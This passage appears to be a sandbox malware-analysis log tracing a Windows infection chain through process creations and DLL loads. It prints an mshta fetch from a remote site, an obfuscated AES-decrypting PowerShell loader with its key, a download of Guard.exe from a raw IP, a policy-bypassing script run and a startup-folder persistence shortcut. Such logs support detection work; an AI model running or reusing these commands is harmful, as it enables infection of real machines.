3AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anhJump to behavior
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webpJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mshtml.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msiso.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ieframe.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msimtf.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dataexchange.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dcomp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: imgutil.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mlang.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: jscript9.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: bcp47langs.dllJump to behavior
